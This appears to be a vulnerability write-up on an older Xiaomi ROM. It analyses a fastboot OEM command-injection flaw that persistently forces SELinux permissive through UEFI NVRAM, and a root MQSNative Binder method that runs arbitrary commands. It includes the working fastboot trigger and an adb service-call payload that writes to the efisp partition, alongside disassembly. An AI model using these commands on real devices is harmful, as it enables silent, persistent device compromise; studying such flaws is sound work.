An older Xiaomi ROM package, OS3.0.9.0.WPAMIXM, exposes two issues that chain together well. One is an ABL flaw reachable through a fastboot OEM command: it injects an extra kernel command-line argument and leaves it in UEFI NVRAM, so SELinux comes up permissive on later boots. The other is a command-injection path in the root-run MIUI MQSNative Binder service. The first weakens SELinux enforcement persistently; the second turns Binder access into high-privilege command execution.
Fastboot OEM command-line injection
The vulnerable component lives in ABL. In the ROM package, the binary is at nezha_global_images_OS3.0.9.0.WPAMIXM_16.0/images/abl.elf. After unpacking with binwalk and then extracting a decompressed.bin.7z with 7z, the relevant file is LinuxLoader.efi.
The trigger looks like this:
fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive
From USB to the fastboot dispatcher
Fastboot sends the raw command string over USB bulk transfer:
USB TX: "oem set-gpu-preemption 0 androidboot.selinux=permissive"
LinuxLoader.efi has a fastboot command dispatch loop that walks g_OemCmdTable[30] at 0xCAC08 and does prefix matching against each entry. The command lands on index 14:
.data:00000000000CACE8 DCQ aOemSetGpuPreem ; "oem set-gpu-preemption"
.data:00000000000CACF0 DCQ CmdOemSetGpuPreemptionValue
.data:00000000000CACF8 DCQ aOemDeviceInfo ; "oem device-info"
.data:00000000000CAD00 DCQ CmdOemDevinfo
When the handler is called, the argument pointer starts immediately after the matched prefix:
Full command: "oem set-gpu-preemption 0 androidboot.selinux=permissive"
^ arg points here
arg = " 0 androidboot.selinux=permissive"
^ note the leading space
What CmdOemSetGpuPreemptionValue does
AsciiStrnCpyS(v703, "Set GPU HW Preemption: ", 64); // Resp[0x40] = "Set GPU HW Preemption: "
AsciiStrnCpyS(v702, " msm_kgsl.preempt_enable=", 256); // GpuPreemptionValue[0x100] = " msm_kgsl.preempt_enable="
while ( AsciiStrLen(v331) && *v331 == 0x20 ) // if (arg[Pos] == ' ')
{
arg++;
Pos--;
}
else break;
++v331;
At this point the stack contains:
GpuPreemptionValue: [' ','m','s','m','_','k','g','s','l','.','p','r','e','e','m',
'p','t','_','e','n','a','b','l','e','=','\0', ... 0x100 bytes]
The leading-space filter loop looks like this:
// arg = " 0 androidboot.selinux=permissive"
// ^ 0x5F7E0
AsciiStrLen(arg) -> 33
// non-zero, continue
0x5F7E8 LDRB W8, [X19] // W8 = *arg = 0x20 (space)
0x5F7EC CMP W8, #0x20 // is it a space? yes
0x5F7F0 B.NE done // do not branch
0x5F7F4 ADD X19, X19, #1 // arg++ skip this space
0x5F7F8 B loop // second iteration:
// arg = "0 androidboot.selinux=permissive"
// ^ 0x5F7E8
LDRB W8, [X19] // W8 = *arg = 0x30 ('0')
CMP W8, #0x20 // is it a space? no
B.NE done // <- exit loop
After filtering, arg is "0 androidboot.selinux=permissive". The loop stops at the first non-space character, so the space inside the string is never checked:
v336 = AsciiStrLen(v331); // AsciiStrLen(arg) - get length of user input (with embedded spaces)
AsciiStrnCatS(GpuPreemptionValue, 256, v331, v336); // VULNERABILITY: AsciiStrnCatS(GpuPreemptionValue, 0x100, arg, len)
The concatenated value becomes:
GpuPreemptionValue = " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive\0"
<-──────────────────── 58 bytes ───────────────────────→
It is then written into UEFI NVRAM:
@0x5F818
X20 = gRT_ptr->SetVariable // offset 0x58 in EFI_RUNTIME_SERVICES
// i.e. SetVariable function pointer
@0x5F828
AsciiStrLen(GpuPreemptionValue) -> 58
@0x5F838
gRT->SetVariable(
L"GpuConfiguration", // VariableName (Unicode)
&gOemConfigVariableGuid, // VendorGuid @ 0xCB3B4
EFI_VARIABLE_NON_VOLATILE | // Attributes = 7
EFI_VARIABLE_BOOTSERVICE_ACCESS |
EFI_VARIABLE_RUNTIME_ACCESS,
58, // DataSize
" msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
)
The payload is now persisted in UEFI NVRAM. Because the variable is marked NON_VOLATILE, it survives reboots. A factory reset does not clear it, since resetting only wipes userdata/cache partitions, not UEFI variables. Reflashing firmware may also leave it in place unless the flashed firmware explicitly removes the variable.
Kernel command-line parsing
On the next boot, before loading the kernel, ABL calls UpdateCmdLine() to build the full kernel command line. It first reads the GpuConfiguration variable:
xEF20
X8 = *gRT_ptr // get EFI_RUNTIME_SERVICES*
0xEF2C
X0 = L"G" // short string optimization, actually L"GpuConfiguration"
0xEF34
X1 = &gOemConfigVariableGuid
0xEF3C
X2 = 0 // Attributes = NULL
0xEF40
X8 = gRT->GetVariable // offset 0x48
0xEF44
BLR X8 // call GetVariable
// returns: EFI_SUCCESS (0)
// output buffer: " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
It then gets the length and appends the value to the command line:
0xEF68
X0 = &GpuCmdLine buffer // points to GetVariable output
0xEF70
AsciiStrLen(GpuCmdLine) -> 58
0xEF78
AsciiStrnLenS_0x100(58) // bounds check <= 0x100, passes
0xEF94
AppendToCmdLine(
cmdline_dst, // final kernel cmdline buffer
GpuCmdLine, // " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
58 // length
)
There is no validation before the string is spliced into the kernel command line. Once the system starts, the init process reads the property and switches SELinux to permissive mode.
A permissive SELinux policy does not enforce MAC rules; it only audits them. Any process can reach files, sockets, and device nodes that would normally be blocked. An ADB shell can run su without SELinux stopping it, and with another privilege-escalation bug such as the MQSNative service call, the result can be unrestricted root.
The persistence path is simple:
┌──────────────┐ write ┌─────────────────────┐
│ fastboot │───────────→│ UEFI NVRAM │
│ oem command │ │ GpuConfiguration │
└──────────────┘ │ NON_VOLATILE │
└──────────┬──────────┘
│ read on every boot
┌──────────▼──────────┐
│ UpdateCmdLine() │
│ → kernel cmdline │
│ → SELinux permissive│
└─────────────────────┘
// Takes effect automatically on every boot until:
// 1. fastboot oem set-gpu-preemption 0 (overwrite with normal value)
// 2. UEFI variable is manually cleared
// 3. Full firmware reflash (may not clear NVRAM)
One injection is enough to create a persistent SELinux downgrade. The user does not see it, and Settings can still show “Enforcing” because the UI reads runtime state rather than the early-boot command line that already changed enforcement.
MIUI MQSNative Binder privilege escalation
The Binder service involved here is MIUI MQSNative. After unpacking, a simple grep finds two relevant binaries:
./system_ext_extracted/bin/hypsys_system./system_ext_extracted/lib64/miui.mqsas.native-cpp.so
There is also a SELinux context entry:
./system_ext_extracted/etc/selinux/system_ext_service_contexts:14:miui.mqsas.IMQSNative u:object_r:mqsasd_service:s0
The main domains that can access the service are:
updater: normally Xiaomi’s system updater app. It runs in the updater domain and needs to callmqsasdfor maintenance tasks such as writing persist files or running specific commands.system_server: the core Android system process. System services, including Xiaomi framework services, can access the interface.hypsys_ssi_client: a client label used by system-level components, likely stability monitoring or performance optimization pieces.
An ADB shell can reach this Binder service. A normal app generally cannot, which makes it less likely to be picked up by ordinary malware.
The init configuration for the service shows that it runs as root:
$ cat ./system_ext_extracted/etc/init/hypsys_system.rc |grep hypsys_system -A 10
service hypsys_system /system_ext/bin/hypsys_system
user root
group system root cache log everybody product_hyperengine
disabled
socket mqsasd stream 0660 system system
socket mqsasd_pr dgram 0666 system system
MQSNative Binder registration
The service is registered in the main function of /system_ext/bin/hypsys_system:
...
// 0x9b680-0x9b724
v41 = (MQSNativeDaemon *)operator new(0x30uLL);
MQSNativeDaemon::MQSNativeDaemon(v41);
android::defaultServiceManager(&serviceManager);
// vtable+48 = IServiceManager::addService
result = serviceManager->vptr->addService(
serviceManager,
descriptor, // "miui.mqsas.IMQSNative" (String16)
v41, // MQSNativeDaemon* (as IBinder)
0, // allowIsolated = false
8 // dumpPriority = PRIORITY_DEFAULT
);
The main function registers several things in order:
+-------------------------------------------------------+
| main() in hypsys_system |
+-------------------------------------------------------+
| v |
+-------------------------------------------------------+
| [Step 1] HypSysSsi (AIDL NDK API) |
| - Create HypSysSsiImpl |
| - AServiceManager_addService("...IHypSysSsi/default") |
+-------------------------------------------------------+
| v |
+-------------------------------------------------------+
| [Step 2] BnHypSysSsiIntl (AIDL NDK API) |
| - Create BnHypSysSsiIntl |
| - AServiceManager_addService("...IHypSysSsiIntl/...") |
+-------------------------------------------------------+
| v |
+-------------------------------------------------------+
| [Step 3] MQSNativeDaemon (Legacy Binder API) | <--- service of interest
| - operator new(0x30) |
| - MQSNativeDaemon::MQSNativeDaemon() |
| - android::defaultServiceManager() |
| - IServiceManager::addService("miui.mqsas.IMQSNative")|
+-------------------------------------------------------+
| v |
+-------------------------------------------------------+
| [Step 4] ABinderProcess_startThreadPool() |
| - starts worker threads for Binder requests |
+-------------------------------------------------------+
| v |
+-------------------------------------------------------+
| [Step 5] ABinderProcess_joinThreadPool() |
| - main thread joins pool and loops on requests |
+-------------------------------------------------------+
onTransact dispatch
BnMQSNative::onTransact is in ./system_ext_extracted/lib64/miui.mqsas.native-cpp.so at 0xC0B4. It is a switch with 22 cases, mapping 22 AIDL interface methods. The public payload uses case 21:
adb shell service call miui.mqsas.IMQSNative 21 \
i32 1 s16 "dd" \
i32 1 s16 "if=/data/local/tmp/gbl of=/dev/block/by-name/efisp" \
s16 "/data/mqsas/log.txt" \
i32 60
The corresponding pseudocode is:
case 0x15u: // captureLogByRunCommand - CRITICAL VULNERABILITY
readStatus = data->readString16Vector(&cmds_vec);
if (readStatus == 0) {
readStatus = data->readString16Vector(&args_vec);
if (readStatus == 0) {
readStatus = data->readString16(&logFilePath);
if (readStatus == 0) {
readStatus = data->readInt32(&timeout);
if (readStatus == 0) {
// no permission check; call virtual function directly
this->vptr->captureLogByRunCommand(
this,
cmds_vec,
args_vec,
logFilePath,
timeout,
&call_status,
&call_status_msg
);
}
}
}
}
The ADB parcel maps to the service arguments as follows:
<table> <thead> <tr> <th>Parcel data</th> <th>Deserialization call</th> <th>Meaning</th> </tr> </thead> <tbody> <tr> <td>i32 1 + s16 "dd"</td>
<td>readString16Vector(&cmds)</td>
<td>command vector: size=1, ["dd"]</td>
</tr>
<tr>
<td>i32 1 + s16 "if=... of=..."</td>
<td>readString16Vector(&args)</td>
<td>argument vector: size=1, ["if=/data/local/tmp/gbl of=/dev/block/by-name/efisp"]</td>
</tr>
<tr>
<td>s16 "/data/mqsas/log.txt"</td>
<td>readString16(&logFile)</td>
<td>log file path</td>
</tr>
<tr>
<td>i32 60</td>
<td>readInt32(&timeout)</td>
<td>timeout in seconds</td>
</tr>
</tbody>
</table>
captureLogByRunCommand reaches miui::mqsas::BpMQSNative::captureLogByRunCommand. The practical result is:
arbitrary command + arguments: captureLogByRunCommand accepts any command name and arguments, with no whitelist/blacklist filtering
Because the service runs as root, this Binder call is not just a logging primitive; it is a way to execute commands with the daemon’s privileges. The fastboot OEM injection removes SELinux as a barrier, and the MQSNative path supplies the command execution. A correction worth keeping in mind: ADB shell can reach the MQSNative Binder; ordinary app access is the constrained case.